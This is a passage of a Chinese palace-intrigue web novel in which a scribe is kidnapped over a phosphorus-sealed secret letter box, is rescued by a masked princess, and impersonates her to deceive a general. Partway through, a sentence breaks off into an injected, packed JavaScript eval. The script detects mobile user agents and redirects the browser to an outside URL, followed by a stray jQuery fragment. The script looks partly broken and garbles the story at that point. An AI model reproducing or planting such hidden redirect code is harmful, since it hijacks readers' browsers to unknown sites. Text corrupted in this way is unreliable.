绑匪似乎有两个人,其中一个是拂年的声音:“搜过他的房间了,盒子还在,应该是早被人换了,不然里面的水蒸发之后,信会和盒子一同烧毁,焚烧殆尽。” “是啊,主子也派人去平康坊问过了,周边的人都说没见过他摆摊时纸有燃烧过。不过当时倒发生了另外一件事,五公主似乎也找他代过笔,而且十分不满,还往他的纸上泼了不少墨。” 盒子打开之后里面的纸会燃烧? 薛适思索着,忽然想到第一次见面时江岑许说过的话—— 你该不会连如何品鉴纸张都不懂吧? 薛适顺着往下想,莫非是…… 冰心笺? 为了防止外人窥探信件内容,一些人会选择用冰心笺书写。 冰心笺由粗麻制成,水泡不烂,书信人为了更好地利用这个特质,往往会选用遇水也不会消散的墨斗鱼汁书写,写完之后再涂上一层白磷,然后装在盛满清水的木盒中隔绝空气,空隙处密上蜡封以减缓水的蒸发,延长信件保存的时间。 如果是自己人,自然知晓放在水中取出信件;如果是不知情的窥探者,直接打开了盒子,信件上涂抹的白磷暴露在空气之中立刻就会燃尽,不留丝毫痕迹。 无论是冰心笺还是蜡封,平常人都很难得到。薛适没想到当初被她当成礼物的盒子,原来藏了这么多危险和算计。而拂年又敢为了这事直接在宣微殿就绑了她,想必背后之人非同小可。 “虽然这事挺像五公主会做出来的,但主子说一切过于巧了,有些不放心。他之前就见过五公主,之后又进宫成了书待诏,还跟在五公主身边,就怕他知道打开盒子的方法,已经看过了里面的内容,还告诉了五公主。” 另一人嗤了声,理所当然地道:“那就杀了,否则后果不堪设想,反正这也是主子的意思。先等他醒了看看他怎么说吧。” 拂年不耐地道:“不等了,拿水泼吧。” 另一人出门去接水的功夫,薛适“醒了”过来。 “哟,终于愿意醒了。”拂年扯掉薛适口中塞着的布条,匕首紧贴在薛适的颈上,凶狠道,“问什么,答什么。” “……嗯。” “你房间里的盒子,怎么来的?” “有位公子对我的代笔很满意,所以送给我作谢礼。” 另一个绑匪打完水回来,见薛适醒了,放下盆也过来问道:“你不知道你的盒子被人换过吗?” 薛适露出讶异之色:“被换了?什么意思?” 那绑匪将盒子递到她眼前:“认不出来?” 拂年把匕首又往薛适的颈上靠了靠,冰凉的尖刺感让薛适浑身发麻。 “想好了再回答,要是撒谎,直接杀了你。” 薛适握了握被绑在一起的手,凉得像冰一样,强压眼中酸涩,她抬头状似认真地看了一圈:“好像……确实不一样。我想起来了,我入宫之前家里进了盗贼,搞不好他看我这盒子价值不菲,所以偷走了换了个假的骗我。”即便拂年他们不信,查证也需要时间,薛适镇定道,“你们大可以去官府问。” 拂年也明白这个道理,所以并未在这个问题上过多纠结:“你进宫前,五公主似乎找你在摊上代过笔,还抱了你,你们之前就认识?” “不认识,五公主来时并未表明身份,只是找我代笔。见她站得久有些晕……我便扶了一下。” “撒谎。”拂年咬牙切齿,想到被五公主同样以撒谎为由就杀了头的弟弟拂声,那匕首便不受控地划过了薛适的脖子,“你帮了公主,她为什么还往你的宣纸泼墨?” 薛适能感受到湿黏的温热瞬间在颈边流过,即便很浅,但还是痛得她咬紧了牙才忍住。 “因为公主对我代笔的内容不满意。” “什么内容?” 不可能说是家书,薛适顿了顿:“……道歉信。我没有真正理解公主的意思,所以公主生气了。” 这次连另一个人也动了怒,一盆冷水直接兜头浇了薛适一身:“你还真是胆子大!是嫌命太长还是觉得我们傻?五公主会给人道歉,还专门找代笔写道歉信?” 水雾漫过视线,薛适睁不开,只好闭眼道:“说是写给她爹的。如果你们不信的话,我可以立即说给你们听。”她从小被薛府当成男子培养,虽不擅武功,但基本的防身还是懂的。薛适不动声色地解着手上绳索,“就算我是代笔,编一个假的也不会这么快。实在不行,你们可以去问皇上身边的人求证。” 既然这些人根本没想放过她,她无论怎么说,他们都有理由杀了她,真真假假,随他们自己猜,最后不过是想在杀死她之前得到一个他们想听的答案好踏实些。 如果贸然提起江岑许,万一她有幸逃脱,江岑许知道了肯定不会放过她,倒不如先胡编着拖延时间,随机应变。 何况,在江岑许和拂年背后的人之间,她还是更愿意选择江岑许。 薛适咽了咽,短暂缓解了下喉间的肿痛,出口的声音已经哑得不像话: “ 人有百面,话有千言。单凭一面识人,仅听一言定论,错失良多,是吾之过。” 刚好说完,绳子也解开了。耳边传来有人倒地的声音,薛适睁开眼,睫毛上的水珠随之滴落,像是承载不住眼前的人,而她亦是愣在了原地。 “薛适,你背后靠山那么多,死到临头却只有我来救你。” 江岑许一身玄色窄袖襕衫,仍戴着那金制的千叶莲面具,周身气度却与平日的华丽高贵截然不同,格外清逸而幽凛,还带着掩藏不住的杀气。 “……殿下?”刚一开口,一颗药丸被塞入口中,薛适不经意间就咽了进去。 江岑许嗯了声,给她解开脚上绳索,又从怀里掏出绢帕系在薛适脖间止血:“想杀人么?” “嗯?” “道歉信,其实是写给我的吧。” 薛适没有开口,似是默认。 因为一直以来,她好像都在传言里、在江岑许浅层的疯狂表象里去认识她。 这不应该的。 江岑许倒是没在意薛适变化的神色,只勾唇笑了笑,将她拉起,“那今天,就让你看看本宫的另一面?” 江岑许进来时往房间挥了迷药,拂年和另一个绑匪早已倒在了地上。而薛适因着这段时间一直被江岑许下药,已经有了些许抗药性,再加上江岑许喂的解药及时,倒是没事。 江岑许把拂年的匕首塞到薛适手里,低沉的声音带着诱惑:“你来,还是我来?” 薛适恍惚了下,眸光微动,然后看向地上的人,一向含笑的眼中此刻却染了几分淡漠与寒意。江岑许看在眼里,在她耳边笑了声:“懂了。” 江岑许站在右边握着她的手蹲下,就 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想必江岑许当时不过是随口扯了个理由,与她是否来迟根本无关,不过是有个由头可以杀了那人。 薛适莫名有些心安。 风吹皱了眼前景致,夜空慢慢被白昼撕扯,拂晓渐至。 眼前不是回大明宫的路,她们仍在这片山野间穿行。薛适回头,看向身后不见尽头的远处:“殿下,有人追上来了。” 应该是拂年他们的死惊动了其他人,只是没想到居然来了这么多,少说也有十个。 “嗯。”江岑许却是丝毫不紧张,“早知道应该给薛待诏一个名分。一起死了,你没准还能跟本宫合个葬。” “……”这都什么时候了啊。薛适有些无奈地笑了笑。 也是,这样才是五公主。 身后声音越来越近,薛适指着左前方:“殿下,那里好像有一个山洞,我们可以躲进去。” 江岑许显然也注意到了,但身后箭簇接连,他们不得不放缓速度。 “小心!”响箭声划过耳际,薛适惊呼开口,江岑许却已先一步护着她的头带她一同伏在了马背上,躲过的箭羽破空而过,击中了前方的树干,裂口周围瞬间黑了一圈,薛适心下一沉,是毒箭。 箭声呼啸,此起彼伏,对方的弓弩像是没有用尽的时候。 “马上的人,格杀勿论!” 薛适了然,盒子的事从她这已问不出什么,那些人一定会杀了自己以绝后患,而江岑许…… “殿下也是因为盒子的事才来救我的吗?” “现在不是说这些的时候。” “我知道。我是想说,既然那些人是冲我来的,就不能让他们看到我们现在待在一起。不然发现殿下为了此事救我,不更惹他们怀疑吗?不如兵分两路,”薛适扯过江岑许手中的缰绳,故作轻松地笑了笑,“接下来的生路,臣先自己去闯。引开他们后,殿下可趁机抽身,再回去搬救兵也不迟。” 她转身就要把江岑许推下马,江岑许却是朝后一仰,薛适扑了个空,紧接着腰上一紧,江岑许抱着她一起从马上跌落,轻笑了声。 “本宫看起来像是毫无准备,直接就来送死的人么?” “生路我已经替你铺好了,无需再闯。” 不等薛适感受到摔在地上的实感,江岑许已经拽起她往山洞跑。 “所以回宫之后,薛待诏可记住了,被掳的人是我,你只是为了救本宫顺带被绑,明白了?” 12. 春光 薛适虽听不懂,但江岑许话间的自信从容让她安心不少。 疾驰远去的骏马为她们暂时引走了追兵,两人趁机躲进了山洞里。 “等天再亮一些,他们发现本宫不见了会派人来找,到时候我们再出去。” 薛适略一思忖:“殿下来找我时……给萧世子留了记号?” “薛待诏知道的还真不少。” 江岑许仔细检查了下山洞,见没什么问题后,才带着薛适倚在一个较为隐蔽的石壁处。 “但是那些刺客发现马上没人后,会折回来再找我们吧?发现这里也是迟早的事。” “如果顺利的话,在那之前救兵就会找到我们。”江岑许看了眼薛适湿了又干有些皱巴巴的衣服,将身上的外袍脱下给她围在身前,“如果是最坏的情况,他们折回来了但救兵还没到,我们就得想办法困住那些刺客,不能让他们下山叫来更多人。” 薛适掀开外袍给两人一齐盖好:“要……怎么困住?” “怕了?”江岑许混不在意地笑了笑,“不是还有本宫么,他们不敢动我,到时候我出去拖着,等到救兵来。” 薛适想了想,忽然问道:“殿下,大皇子和二皇子……谁和袁将军关系更好?”她原本不想理会盒子背后的事,但如今这个盒子攸关生死,她起码要知道敌人是谁。 江岑许挑了挑眉:“为什么这么问?” “那个盒子是袁将军给我的。但是四皇子给出的盒子并没有袁将军,所以他只可能是从拥有盒子的大皇子或二皇子手中收到的。” 薛适皱了皱眉,想到什么,“记得之前在崇文馆,曹公子要找袁将军问有没有给殿下写过情笺时,按理以大皇子的性格,他应该只会在一旁听着,但他却突然打断了,似乎还很不悦,这样看来……和袁将军关系更好的应该是大皇子?” 江岑许不置可否。 薛适便又继续道:“盒子里装的信件肯定事关重大,所以才会不惜一切取我性命,拂年他们应是奉了大皇子和袁将军的命令。而殿下之前带着我爬树,其实是为了观察拂年吧?所以殿下早就知道了。” 江岑许静静听着,始终没有出声。 “袁将军刚解禁就出了这事,而殿下又让臣回宫后说被掳的是您……”薛适眼神一亮,嘴角勾起个了然的笑来,“殿下是想从袁将军入手?说他因之前桃凝香的事被禁足气急败坏才绑了您,这样盒子的事就被掩盖了!” 眼前的人熬了一夜没睡,又发着烧,眼底看着有些发红,但眸光却分外明净,像是桃花落染过的春水,盛起一寸春光。 “薛待诏这个睡前故事讲得极好,本宫都听困了。”江岑许移开视线,懒懒地道,“再换个法子哄本宫睡觉吧。” 江岑许摆明了不愿多说,薛适只好不再多言。 她有些愣然地看着江岑许,面具之下,那双幽朗深邃的眼已然闭上,轻抿的唇还微微动了动,带着丝倦懒悠闲的意味。 似乎无论立于什么样的处境,江岑许永远都像游山玩水般潇洒怡然。 薛适回忆了下儿时娘亲哄她睡觉的场景,一下一下地拍着江岑许的胳膊,轻声唱道: “夜空静悄悄,太阳困了呐,偷偷脱了衣裳,偷偷挽了头发,成了弯月还是满月,星星不知道;夜色长寂寂,阿子怕了嘛,乖乖闭上眼睛,乖乖盖好被子,做了噩梦还是美梦,阿娘会知道……” 山洞将薛适的歌声变得更加飘渺而空灵,余带的回音和着她的声音,缭绕环响。渐渐地,她的声音微弱下来,断断续续地,已粘连不成完整的字句。因着风寒有些沙哑的声音,让她浅浅的吟唱像极了酣眠时梦中的呓语。 江岑许睁开眼,看着眼前的人说着说着,渐渐耷下眼皮,最后终于支撑不住,歪头靠在了她的肩上,嘴角还浮着未散的笑意。 江岑许摸了摸她的额头,将盖在自己身上的那半衣服全都裹在了薛适身上。 良久,微微掀了掀唇:“好像,也没那么遗憾了。” 不知过了多久,薛适突然惊醒:“殿下!” 耳边是越来越近的马蹄声。 俨然又来了不少人。 “耳朵还挺好使。”江岑许刚要叫起薛适,却见她一下子醒了过来。 “现在出现了第三种更坏的情况。”江岑许拉起薛适,“那些刺客不仅折回来了,还又上山了不少人。” 眼前是熹微的光影,天光从洞口穿过,已是大亮。 江岑许有些讽刺地看向外面:“如今早过了时辰,看来救兵被绊住了。” 薛适迟疑开口:“有人……不想殿下活着回去?” “但薛待诏也不想跟本宫合葬吧?” “嗯?” 江岑许笑得促狭,拉起薛适往外跑:“那就跟紧点。” 江岑许带着薛适直向右侧丛林间冲去,刺客四下分开,这边最为松散,只有两个人注意到他们的动静,但距离太远不好通知其他人,只好先一步赶了过来。 有刺客犹疑道:“我怎么瞧着那人那么像五公主?” “是有点像,但五公主不是被人绑了吗?怎么还会自己跑,她又不会武功。” 薛适有些慌乱:“他们好像发现殿下了!这样就不能诬陷是袁将军绑得您了。” “那就让他们有来无回。” 江岑许停住步伐,抬手将薛适遮在树后,自己则是拿出剩余的迷药,几步朝那两个刺客冲了过去。 那两个刺客见中途忽地横冲出个人影来,虽有些意外,但拿剑的手却沉稳,可当他们看清这人是谁时,不由惊呼道:“五……五公主?!” 话音刚落,便双双倒在了地上。 薛适已经有了经验,见状,忙小跑着从树后出来,不等江岑许开口就已率先拿起了一个刺客身上的剑,和江岑许一起分别戳向那两人的心口,戳完后还忙往后跳了一大步,微微瞪圆的眼中虽不见惧色,但有些短暂的茫然,像是还没反应过来。 江岑许见薛适这副样子,不由笑了笑:“走!” 袁敏达带人看到这两具尸体时,脸色难看得很。 身边有人疑道:“那薛待诏看着文弱,没想到还会武功?” 袁敏达却冷哼了一声:“五公主不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872098|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也失踪了吗?搞不好是五公主杀的。” “将军是说五公主会武?!” “谁知道呢。” 为了及时查探薛适有没有被杀,袁敏达特意请命来找失踪的江岑许,同时也是想知道江岑许莫名失踪是不是为了救薛适,好不让薛适说出盒子的事。所以他故意派人把同样奉命找江岑许的萧乘风拦在了山下。 这边,江岑许已经带着薛适穿过了丛林,眼前一片开阔,只要绕过不远处的一片湖水,再走几段台阶就能下山了。江岑许约莫着萧乘风应该是被袁敏达的人拦在了山下,所以才迟迟没有赶来。 但也正是这样无遮无阻的的地方,冷箭防不胜防。 “殿下——”薛适听得耳边嗖嗖箭声,忙推着江岑许向一旁避去,但她到底身手不够灵敏,右臂还是被擦破了一道斜长的伤口。 江岑许眸色骤冷,薛适的伤口周围瞬间殷红发黑,应是淬了毒,必须得尽快下山。 薛适却是笑着开口:“殿下可别趁现在把我磨成人骨玩偶,你说过的,做人要厚道。” “薛待诏骨头硬得很,想必难磨,本宫不想做人骨玩偶了。”江岑许怕拉着薛适的手会牵扯痛她胳膊上的伤,便用手掌根处虚按着她的腰,“不如做几只人骨毛笔,本宫一定用来加倍练习书法,不负薛待诏亡魂。” “……”薛适收起了开玩笑缓解紧张气氛的心思。怎么还适得其反,更吓人了呐。 眼前避无可避,身后又是接连不断的箭羽,江岑许只好带着薛适先拐向一旁的灌木丛掩藏身形,灌木丛就在湖水旁,一会儿下山也方便。 “人呢?怎么一下子就不见了?”这次追来了四个刺客,但棘手的是他们手上都拿着弓箭,还淬了毒。 薛适看见江岑许再次攥紧了装着迷药的小香袋,问道:“还能用几次?” “最后一次。” 薛适和江岑许对视一眼,心领神会。 两人故意在灌丛间弄出不小的动静,那四个刺客果然被引了过来。 因着灌木丛遮住了视野,他们无法瞄准,反倒会平白浪费箭羽。为首的刺客打了个手势,另外三个紧跟其后,握着弓箭小心翼翼地步步移近。 江岑许仔细辨听着脚步声,朝一旁的薛适对着口型。 “十,九,八,七……” 越来越近的脚步声,像是踏着胸腔激烈跃动的心跳。这一刻,似乎连风声都被静止,三月和春的空气也比酷暑的热浪更加难捱。 “三——” “二——” “一!” 为首的刺客拨开草丛的一刹,薛适一把将迷药挥向他,而江岑许则事先取下了薛适脖子上系着的止血绢帕,涂过迷药后,趁着跟在后面的另外三人没反应过来,瞬间冲出灌木丛朝他们洒去。 四人猝不及防,昏沉着纷纷倒地。 将几人毙命后,江岑许打算拿走一把弓箭带着薛适离开,但身后却是马蹄阵阵,追兵已经追了上来。 袁敏达的声音远远传过,带着咬牙切齿的恨意。 “五公主深藏不露,可真是好本事。” 13. 假面 薛适尚伏在灌木丛中,被江岑许的身影遮得严实。而江岑许站在她面前,微垂着头,面具之下一向张扬恣肆的眼,此刻却闪过一瞬黯淡。 江岑许死死握着手中弓箭,身后马蹄声越来越近,她却迟迟没有转身,似在思量什么。 薛适看在眼里,心中思绪汹涌。 她想象不到冰心笺上到底写了什么,能让大皇子他们不顾一切地派人杀她,能让江岑许为了偷换盒子第一次见面就抱了她,甚至怕她说出去还以身试险来救她。 但可以确定的是,如果她们两个现在就被抓到的话,江岑许诬陷袁敏达绑架的计谋不仅无法实现,还会引得他们怀疑。如此,本就不受宠的公主,还能在这深宫之中活下去吗? 而她,肯定也会被认为是与江岑许联手换的盒子,必是难逃一死。 难道……真的没有什么权宜之计么? 薛适不由狠狠攥紧袖子,却在触摸到袖口光滑的面料时,察觉到什么。 她低头看着身上的玄色外套,不知什么时候被江岑许全都披在了她的身上。薛适又抬头看了眼江岑许身上同样的玄色襕衫,一时计上心头,嘴角也不由弯起一抹笑。 江岑许本打算改变原先诬陷袁敏达绑了自己的说辞,反过来说发现竟有人敢直接在她的寝殿绑了她的面首,怒气冲天才一路跟了过来。至于为什么能杀这么多人也好解释,因为用了迷药,就算不会武也能做到。 虽比不上原计划,但暂时糊弄过去还算没问题。思虑得差不多,她刚想开口告诉薛适先好好躲在灌木丛不要让袁敏达发现,结果就见眼前的人眉目凛然,突然向前伸手拉住了她的胳膊。 “薛适?” 江岑许显然没想到薛适突如其来的动作,顺着她的力道不由朝前栽去,压着薛适一同向后倒在了灌木丛中。 “我都在马上看到公主殿下了,还躲什么。”远处,袁敏达看着那袭背影讥笑道。 薛适看着撑在自己身上面露困惑的江岑许,忽地伸手扣住了她的后脑,另一只手则是握紧了江岑许的手,拽着她实实盖在了自己眼前。 “殿下要是成功下山的话,应该能把世子带上来吧?” 江岑许只觉脸上一轻,面具已被薛适解开。她从怀里掏出了自己的仙鹤面具,递到眼前。 “殿下之前说过,也给臣做一个人骨玩偶,”薛适握着江岑许的那只手一用力,向后推开了她,连带着抛出去的仙鹤面具。 江岑许听得眼前之人声音虽哑得厉害,但其间清浅的笑意未散,语调仍是平日里的生机与蓬勃,轻轻落在耳畔时,似是耳语,“殿下可别食言啊。” 薛适始终没有看向江岑许,起身戴好面具后,头也不回地跨出了灌木丛。 袁敏达带人到达时,看着倒在地上的四具尸首,阴阳怪气道:“萧乘风不是说五公主被绑了吗?我看公主你生龙活虎得很呐!” 同样的玄衣,同样的面具,薛适仿照着江岑许平日说话的口吻道:“萧世子也没说错,本宫看袁将军这架势,那些绑本宫的人应该就是袁将军派来的吧?”薛适时刻不忘捏造袁敏达绑架江岑许的事,开始把话往桃凝香上引,“袁将军对本宫还真是执着,弄桃凝香还不够,刚解了禁就想绑本宫出去,原来……你这么喜欢本宫啊。” 袁敏达没想到江岑许哑了嗓子还能这么伶牙俐齿,他气急败坏地上前拽起薛适的袖子将她拉到身前,狠狠道:“五公主说话请慎重!你既说是我派的人,可有什么证据?再者……”袁敏达现在根本不敢小看江岑许,怕江岑许已经知道了那些刺客是大皇子派的人,他试探道,“五公主又不会武功,是怎么逃出来的?” 薛适向后仰着身子,竭力和袁敏达保持距离:“袁将军找的人也不行啊,本宫随口挑拨了几句他们就起内讧了。”薛适记得江岑许之前告诉她,要说自己是为了救江岑许顺带被绑的,所以她接着道,“本宫和薛待诏趁着他们扭打在一起的时候反杀了他们,这才得以逃脱。” 袁敏达显然不信这套说辞,拂年他们根本不会是内讧的人,但欲盖弥彰,这反而体现了江岑许确实会武,他的心情顿时好了不少,继续追问道:“那林间的两人呢,这四个人呢,五公主总不会次次都和你的小面首这么好运吧?” 说到这,袁敏达突然意识到不对。 薛适一心只想着该如何胡诌,并未注意到袁敏达变化的神色:“本宫身上还不能随身带些父皇母后赏赐的小玩意了?天竺的迷香果然很好用啊,袁将军要是喜欢的话,本宫也赏你点?” 袁敏达却没有接话,忽然问道:“你那个小待诏呢?!” “薛待诏去帮本宫……” “不对!”袁敏达手上力道骤然上移,一把捏住了薛适的脖子,“你不是五公主!” “五公主从不会叫我袁将军,也不会叫皇后娘娘为母后!” “你是谁?你是薛待诏吧!五公主呢?” 薛适尽力缩着脖子大口喘息,眼前的袁敏达已是目眦欲裂,粗重的眉毛紧紧拧在一起,神色间尽是怒恨。 她拖延着时间,仍与袁敏达僵持着:“你……这么自卑么?本宫叫你一次袁将军,竟激动成这样……” “薛适!”袁敏达磨牙道,“你别以为有明相和皇后撑腰,我就不敢动你!我大可说你遭遇了山匪不幸身亡,他们根本不会因为你这个无足轻重的表亲伤心分毫!”袁敏达看着薛适一脸无畏的神色,恨地又加重了力道,薛适忍不住干呕起来,“你不怕?你以为你不告诉我五公主在哪,她就会领你的情,过来救你吗!” “嗖”地一声,箭响划过薛适耳际,径直刺入袁敏达的右肩。他吃痛地后退一步,抓着薛适的手一松。 薛适瘫软地跌在地上,蜷缩着身子,握着拳一下一下拍着胸口,却怎么也喘不过气,因为实在太过难受,眼中一时噙满了生理性的泪水,眼前已是朦胧一片。 “是谁竟敢对本将动手?!” “你爷爷我!袁敏达 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薛适觉得少年给她的感觉莫名有些熟悉,但却来不及多想。这一起她头昏得更加厉害,本来模糊的视线变得基本什么也看不清。没走几步,薛适再也撑不住,难受地晕了过去。 这边,袁敏达和萧乘风仍激烈争执着。 “放屁!你哪只眼睛看到是我绑的公主?”袁敏达怒道,指着薛适,“而且,这人根本不是五公主,是薛待诏!” “呵,你有什么证据吗?我倒是有袁大将军的证据。”萧乘风不屑地道,“本世子来之前,已经把袁大将军给公主写的那些情书给皇上看了。再加上回宫后公主和薛待诏的证言,你就算再争辩也只会让人更相信就是你绑的公主。” 萧乘风冷笑一声,“身为男人居然这么小气,爱而不得被禁足了就要绑公主出气,还贼喊捉贼自己过来找公主,你就是这么找的?自个回去好好给皇上一项项解释清楚吧!” 袁敏达是明白了,萧乘风避而不谈眼前这人到底是不是五公主,摆明了只想把绑架的事赖在他身上,看来是想借此掩盖盒子的事。 如此,薛适虽然没死,但他和大皇子的猜测倒是得到了印证,江岑许果然不简单,十有八九已经看过了盒子里面的信,否则也不会这么算计他。 不过袁敏达对萧乘风的话倒是毫不在意,大不了再多禁足一些日子,皇上又不能把他怎样。不过此次也算有收获,不管江岑许会不会武功,此人心机颇深必是无疑,必须得多加防备,绝不能让她也有机会争得太子之位。 两人打了个平手,袁敏达冷哼一声,带人拂袖离去。萧乘风回头想要找那少年要回自己的外袍时,却发现早已不见人影。 少年抱着薛适急匆匆迈下台阶,外袍被风吹得微微敞开,隐隐露出里面玄色的衣角。 他将薛适抱上马,一路疾驰。周遭景致极速变形后退,他在身后紧紧圈着她,每隔一会儿就低下头朝怀中之人贴近一些,直到在呼啸后退的风中,感受到对方的鼻吸仍打在他的耳侧,才又坐直。 14. 描骨 薛适迷迷糊糊间醒来一次,感觉伤口附近火辣辣的痛,好像有人在给她施针。而床边坐了个人,看衣着似乎是救了她的少年。他一动不动地看着大夫手上的动作,神色有些凝重。 她便也顺着少年的目光看了过去,只见布在她伤口周围的几根银针又粗又长,像是江湖门派的某种杀人暗器。暗红乌黑的血一点点流出,染深了针的颜色,薛适忍不住瑟缩了下。 眼前忽地遮过一只手,挡住了她的视线。 “别看,怪吓人的。” 隔着稀疏的指缝,薛适得以窥见少年几分容颜。 没了面具遮掩,显露出他原本清俊明朗的模样,一双眼轮廓温柔,但流转之间却带了几分张扬的邪气,亦狂亦温文。即便只狭于指缝细微的视线,不甚清晰,却也能叫人深迷。 薛适看见他的目光投向自己,微皱着眉问她:“疼得睡不着?” 她刚想开口,眼前忽地一暗,似有暖流熨帖过眼皮,一瞬间,光影尽熄。眼前遮着的手已彻底落下。 “这样眼睛会舒服,能睡得快些。” “睡吧。”他轻声道。 薛适眨了几下眼,就又昏昏沉沉地睡了过去。 再次醒来时,薛适发现她已躺在皇后的蓬莱殿内。 “终于醒了,可有觉得好些?”明皇后忙遣人去将凉了的汤药重新热过,“又是发烧,又是中毒,阿适,你吓死我了。” “娘娘别担心,我已经没事了。你看,我这不很快就醒过来了嘛。” “你都睡了好几天了,一直反反复复地烧,到今日才醒。”明皇后给她掖好被子,“袁敏达也是胡来,这次居然直接绑了五公主,害得你也被牵连,还伤得这么重。” “那……五公主怎么样了?皇上这次是怎么罚的袁将军?” “五公主还好,就是受了些惊吓。皇上这次罚了袁敏达禁足,还扣了他半年俸禄。”明皇后语重心长地道,“下次再遇到这种事,可不能以身试险了,你武功本就不好,还逞能。” “知道啦娘娘。”薛适拉着明皇后的手柔声道。 看来宫里的传言和江岑许事先设计的一般无二。而袁敏达为了掩盖盒子的事,也只能选择吃下这个哑巴亏。 薛适又躺了几天后,便回到了翰林院,刚一进门,就听到同僚们的道喜声。 “恭喜薛待诏,官至四品!” 薛适茫然不解:“嗯?” “是五公主特意向皇上请的旨,说你为了救她身受重伤,理应奖赏。” “这都是次要的,要我说,薛待诏果然不同凡人啊,五公主那狗看了都摇头的字,竟真被薛待诏教的如龙舞跃。” “为什么这么说?”薛适听得越来越懵,“难道……皇上已经去崇文馆查验过了?” “哦,你前几日养病不知道。倒不是查验,是五公主一回来就给皇上写了封道歉信。”有人回忆着,“我记得内容应该是‘都怪儿臣平日声色犬马,才会伤了袁将军那颗不堪一击的心,可落花有意流水无情,还请父皇多多劝诫袁将军悬崖勒马,回头是岸,不要再对儿臣执迷不悟,纠缠不休。袁将军伤心事小,害父皇跟着担心却是儿臣之过’。” 说完,在场的人都想起了当时的场景,忍不住笑了起来。 “虽然这几个成语用得实在不合适,但那字却是写得极好,皇上难得也被五公主逗笑了,所以应了五公主的请求,赏了薛待诏四品服色,而且这次不仅罚了袁将军禁足,还扣了他半年俸禄。” 薛适只是听也能想象出江岑许挑着眼尾,不把任何人放在眼里的骄傲模样,不由也弯唇笑了笑。这人摆明了就是在皇上跟前故意气袁敏达的。 薛适再次回到宣微殿时,江岑许又变回了平日倨傲的模样,仿佛山林间那个看着亲切不少的人只是一场遥远的梦。 见薛适过来,江岑许轻飘飘地上下扫了她一眼:“薛待诏以后可以不用来了。” 薛适微微诧异:“游目院的事……殿下不怀疑我了?” “哪来这么多问题。还是,”江岑许的目光缓缓在薛适身上游移,悠悠道,“薛待诏没做够本宫的面首,舍不得走?” “哈……”薛适尬笑了几声,忙不动声色地后退着步子,“承蒙殿下这段时间关照,臣先告退了!” “等一下。”薛适刚一转身,袖子便被身后的人拽住了。 “薛待诏似乎忘了什么。”江岑许扯着她的衣袖,薛适只得连连倒着步子,又退回了原地。 “不是说想要人骨玩偶么?”江岑许含笑的气息轻轻擦过她的耳畔,“本宫一向言而有信,绝不食言。” 其实也可以言而无信,绝对食言的…… “真的……要做吗?” 薛适蔫蔫回头,却见江岑许的手上已托着个做好了的小玩偶,通体素白,别致可爱。 那玩偶不过半个巴掌大,但却异常精巧,细节之处栩栩俱到。头上束着简单的发髻,额间一圈发带缠绕,手上还握了把小剑竖直向下刺去,但特别的地方在于剑柄处磨成的样式却是毛笔的笔尖。 薛适顿时被吸引了目光,不由凑近了些:“这是……我?” 原来五公主如此心灵手巧!薛适一时间忽略了这是用人骨磨成的,惊奇地围着玩偶左看几下右看几下。 只是…… 为什么要把她的表情刻得这么草率呐,点点眼,圈圈嘴,看着傻乎乎的。 “怎么,不满意?”江岑许将玩偶和没来得及还的仙鹤面具一同塞到薛适怀里,故作无奈地叹了声,“拂年还真是没用啊。” “这是……拂年的骨头?”薛适突然觉得眼前这个灵动可爱的“自己”顿时变得阴恻恻的,看着都狰狞了不少。 “本宫只是想纪念一下薛待诏第一次杀人。”江岑许顽劣地笑了声,语气十分理所应当,“物尽其用,拂年也算死得不错。” “……”拂年真的不会被气活吗? 但,江岑许的手艺是真的 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说着,她随手拿起了一支就在指间转着:“殿下不开心的时候,觉得无聊的时候,在想事情的时候,都可以转来试试,时来运转嘛,一切就都会变好了。” “薛待诏还挺迷信。”江岑许虽嘴上不屑,但手上却也拿了支笔尝试转着。 只不过她刚转两下,笔就“啪嗒”一声掉在了桌上,几次下来,都是一样的结果。 薛适本以为江岑许会一气之下不学了,但她却依然不急不躁,颇有耐心地一遍遍转着,认真的像是在煎制一壶春茶。 “殿下,你不能太用力。”薛适蹲下.身,伏在一旁纠正道。她轻轻掰开江岑许的食指和中指,重新将笔塞入其间,“稍微轻一点,不要在意笔的重量。然后……”她捏着笔端,慢慢晃动着笔身,“想象笔在指间是这样转动的,把它当成是手指的一部分,多练几次就好啦。” 江岑许难得没说什么刻薄的话,面具之下她垂眸敛目,只是专注地盯着指间翻旋起落的毛笔,有时见指间的笔很久没掉,嘴角还会勾起浅浅的笑来,带着小小的得意。 薛适在一旁看着,忽然心情有点复杂。以后不用再来宣微殿似乎没有想象的那么开心,可能江岑许好得算是她的“亲传弟子”,总归和崇文馆其他人不一样。 …… 薛适走后不久,萧乘风也来了宣微殿。 “你前几日不是要白桦木吗,怕你不够用,我又找来了些,想着今日给你送来。不过,你怎么突然想要白桦木了?” “做玩偶。”江岑许言简意赅。 “你在……戏弄我?”萧乘风有些不敢相信,“这么珍贵的白桦木,你居然用来做玩偶?你平日不都是随便捡几根柴木涂色的吗?就算是用来模拟兵法,也太奢侈了吧!” 面对萧乘风的崩溃,江岑许却是不为所动,只淡然地笑了笑。 “毕竟答应了别人,得诚心些。” 15. 抛鞚 因着“被绑”,江岑许休养了些时日,便没去上崇文馆的马球课。转眼四月,已是迎来今年的春蒐。 薛适本想趁此休息一下,还能再多制些纸。不想刚起床没多久,江措来找了她。 “薛待诏今日可有空?” “有。二皇子怎么没去行宫?今日不是春蒐吗?” “我来就是为了此事。”江措有些无奈,“薛待诏应该知道,春蒐之后父皇有可能立下太子,所以父皇格外看重狩猎时同伴之间的配合,起码要三人一起才可以。”他踌躇道,“我想着薛待诏能在敏达手里保护好小五,骑射应该是不错的。所以……” 薛适心虚地摸了摸发带:“可以是可以,但那次只是运气好……二皇子千万不要对我报太大期望。” “没事,薛待诏能答应我就很满足了。” “二哥,我小表舅同意没?”正说着,江抒也赶了过来,江措笑着点了点头。 